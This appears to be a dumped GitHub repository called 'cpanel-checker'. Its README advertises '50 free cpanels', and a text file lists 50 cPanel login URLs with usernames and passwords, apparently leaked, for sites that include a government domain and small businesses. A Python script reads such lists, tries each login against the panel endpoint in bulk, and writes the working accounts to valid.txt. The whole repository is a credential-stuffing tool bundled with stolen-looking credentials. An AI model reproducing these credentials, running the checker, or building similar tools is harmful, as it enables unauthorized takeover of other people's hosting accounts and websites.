├── README.md ├── Cpanel Free └── 50 cpanel.txt └── cpanel-checker.py /README.md: -------------------------------------------------------------------------------- 1 | # Cpanel Checker 2 | 3 | Free cpanel checker tool for you + 50 free cpanels 4 | 5 | Your file should look like this : 6 | 7 | `https://example.com|username|password` 8 | 9 | 10 | Download Cpanel File free 11 | 12 | 13 | # install 14 | 15 | ``` 16 | git clone https://github.com/esfelurm/cpanel-checker 17 | cd cpanel-checker 18 | python cpanel-checker.py 19 | ``` 20 | Bot's : Below 1000 21 | 22 | input : Cpanel Free/50 cpanel.txt 23 | -------------------------------------------------------------------------------- /Cpanel Free/50 cpanel.txt: -------------------------------------------------------------------------------- 1 | https://192.169.218.53:2083|btang1|Booboo1626# 2 | https://aerodeck.websitewelcome.com:2083|cccomputer|Muw-W[owRqAn 3 | https://alpha.nileyouth.net:2083|moderninvitation|NgZKOxNASM 4 | https://ampro2.fcomet.com:2083|eaglesse|egs2010_egs2020@egs2023 5 | https://ancobbs.org:2083|ancobb15|xFLh7dy354 6 | https://asbnepal.gov.np:2083|asbnepalgov|I!%xTy7OJu1} 7 | https://atpsnet.org:2083|atps|&yTR$43#$)kJHG99* 8 | https://bast-services.net:2083|u1597906|Puyungh4i.22 9 | https://biz252.inmotionhosting.com:2083|garita5|garitaS6643.0 10 | https://br1088.hostgator.com.br:2083|queir041|egbertojoga08 11 | https://cloud82.hostgator.com:2083|thewcmp|3e*,9xW@!_Wn 12 | https://cluster.hostlagarto.com:2083|somosto1|Somostopo23 13 | https://cp1.domains.kualo.net:2083|bsruru|9e7f5K2plV 14 | https://cpanel-demo.impressivedemos.com:2083|contg|Demo@123! 15 | https://cpl27.main-hosting.eu:2083|kryptoop|PZq4HRhC%CfA!dD 16 | https://cpl88.hosting24.com:2083|azlajmec|Xhebihone@3596 17 | https://cpls11.srvpanel.com:2083|u8522716|AlperC164032 18 | https://cpt-cpanel-08.mweb.co.za:2083|f6726250|T!!Tlt3z 19 | https://cuisinalca.ma:2083|cuisinalca|L&4]oL?gTA,f 20 | https://dassoca.mywhc.ca:2083|dassoca|zPbq7@19JU)bN5 21 | https://databox.id:2083|datg3345|SUfXpEdjnum132 22 | https://dcgsx-cp003.server-cpanel.com:2083|jesa1071|Award123! 23 | https://demo.cpanel.net:2083|democom|DemoCoA5620 24 | https://demo.sdserver28.com:2083|demo|12345 25 | https://directmall.com.au:2083|directma|YX+Z7fm!k86o5G 26 | https://diyafahlimo.ae:2083|diyafahl|hEU2oiQ@%8kE$*#% 27 | https://dnsnode.tarhelykozpont.hu:2083|hungary7|yo455BysL2 28 | https://fokusofriends.com:2083|u1439524|@0FR31nd5%*#007 29 | https://grem05.gazduire.ro:2083|hjjkimzw|kJK1(d7Xn2P4!o 30 | https://guysslfashion.com:2083|guysslfashion|GTf}4Aj{sX$h 31 | https://h216184.tino.org:2083|duongphu|6P7ezd)2OU(l1H 32 | https://host68.vietnix.vn:2083|pcccthua|LVH6r!u[70I5vn 33 | https://hostingweb31.netsons.net:2083|oxfshejq|Simone97!Jessika96! 34 | https://hp280.hostpapa.com:2083|demo|d12345 35 | https://hr03.adityarathore.world:2083|cambt|$Z55XXDdGGx@bn@moTD57F 36 | https://ircp1.my-servers.us:2083|nlimgqlh|74n+)76nXSgGQx 37 | https://jbellarealty.com:2083|jbella123|[kaV1?Q?gb$ 38 | https://lhcp1055.webapps.net:2083|cq1wfg0o|hQc-g{p5x~Ki 39 | https://lnx6.cms502.com:2083|nogyotec|Sit@***R@m 40 | https://lp2.hosting.link.net:2083|egystra1|A(8L0ymK-r47Pq 41 | https://moashraya.com:2083|g77wwqj5x3mp|Suda@Urban1 42 | https://multidominios.org:2083|user|dejaq89wasw? 43 | https://news82express.com:2083|news82express|N82e!@#$%2018 44 | https://nogyotec.com:2083|nogyotec|Sit@***R@m 45 | https://panel4.webd.pl:2083|demo1|webd.pl 46 | https://phssd.elite-level.com:2083|ajkerhaatbzr|392+%)(%KA5YD 47 | https://pomme.o2switch.net:2083|o2cpanel|testezmoi 48 | https://premium208.web-hosting.com:2083|mydigjd5|6kM9K54kM7tK99mr 49 | https://psyphire.com:2083|psyphiredemo|gz?TArTCFm1N 50 | https://rsh10-24932.azdigihost.com:2083|muthantai|chianh@2021 51 | -------------------------------------------------------------------------------- /cpanel-checker.py: -------------------------------------------------------------------------------- 1 | import os 2 | import asyncio 3 | from platform import system 4 | 5 | rd, gn, lgn, yw, lrd, be, pe = '\033[00;31m', '\033[00;32m', '\033[01;32m', '\033[01;33m', '\033[01;31m', '\033[00;34m', '\033[01;35m' 6 | cn, k,g = '\033[00;36m', '\033[90m','\033[38;5;130m' 7 | 8 | def clear(): 9 | if system() == 'Linux': 10 | os.system('clear') 11 | if system() == 'Windows': 12 | from colorama import init 13 | init 14 | os.system('cls') 15 | 16 | try : 17 | import aiohttp 18 | except ImportError : 19 | os.system("pip install aiohttp") 20 | 21 | async def login_cpanel(url : str, username :str, pwd :str, success_file :str , failed_file :str) -> None: 22 | try: 23 | async with aiohttp.ClientSession() as session: 24 | login_url = f"{url}/login/?login_only=1" 25 | login_data = {'user': username, 'pass': pwd} 26 | 27 | async with session.post(login_url, data=login_data, allow_redirects=True, ssl=False,timeout=10) as response: 28 | data = await response.text() 29 | 30 | if "security_token" in data: 31 | print(f"{cn}------------------------------\n{lrd}[{lgn}+{lrd}]{gn} cPanel Login Successful ! :{lgn} {url}\n{k}Username : {lgn}{username}\n{k}Password : {lgn}{pwd}\n{cn}------------------------------") 32 | 33 | with open(success_file, 'a') as success_output: 34 | success_output.write(f"{url}|{username}|{pwd}\n") 35 | else: 36 | print(f"{rd}------------------------------\n{lrd}[{rd}-{lrd}]{rd} cPanel Login Failed !\n{rd}------------------------------") 37 | 38 | with open(failed_file, 'a') as failure_output: 39 | failure_output.write(f"{url}|{username}|{pwd}\n") 40 | if response.history: 41 | await login_cpanel(response.url, username, pwd, success_file, failed_file) 42 | 43 | except Exception as e: 44 | print(f"{rd}Error during login:{lrd} {e}") 45 | with open(failed_file, 'a') as failure_output: 46 | failure_output.write(f"{url}|{username}|{pwd}\n") 47 | 48 | async def process_file(file_path: str,success_file: str, failed_file: str) -> None : 49 | 50 | try: 51 | with open(file_path, 'r',encoding='utf-8') as file: 52 | lines = file.readlines() 53 | 54 | tasks = [] 55 | for line in lines: 56 | parts = line.strip().split('|') 57 | if len(parts) == 3: 58 | cpanel_url, cpanel_username, cpanel_password = parts 59 | task = login_cpanel(cpanel_url, cpanel_username, cpanel_password, success_file, failed_file) 60 | tasks.append(task) 61 | else: 62 | print(f"{rd}Invalid format in line:{lrd} {line}") 63 | 64 | await asyncio.gather(*tasks) 65 | 66 | except Exception as e: 67 | print(f"{rd}Error processing file: {lrd}{e}") 68 | 69 | def banner() -> None: 70 | print(f"""{k} 71 | 72 | 73 | // ) ) 74 | // ___ ___ __ ___ // 75 | // // ) ) // ) ) // ) ) //___) ) // 76 | // //___/ / // / / // / / // // 77 | ((____/ / // ((___( ( // / / ((____ // 78 | 79 | {pe}CPANEL CHECKER {cn}Git & tg: @esfelurm 80 | {rd}Ex File : https://example.com|user|pass 81 | 82 | """) 83 | 84 | 85 | async def main() -> None: 86 | clear() 87 | banner() 88 | file_path = input(f"{lrd}[{lgn}+{lrd}]{gn} Enter the file name: {cn}") 89 | success_file = "valid.txt" 90 | failed_file = "invalid.txt" 91 | 92 | await process_file(file_path, success_file, failed_file) 93 | 94 | if __name__ == "__main__": 95 | asyncio.run(main()) 96 | --------------------------------------------------------------------------------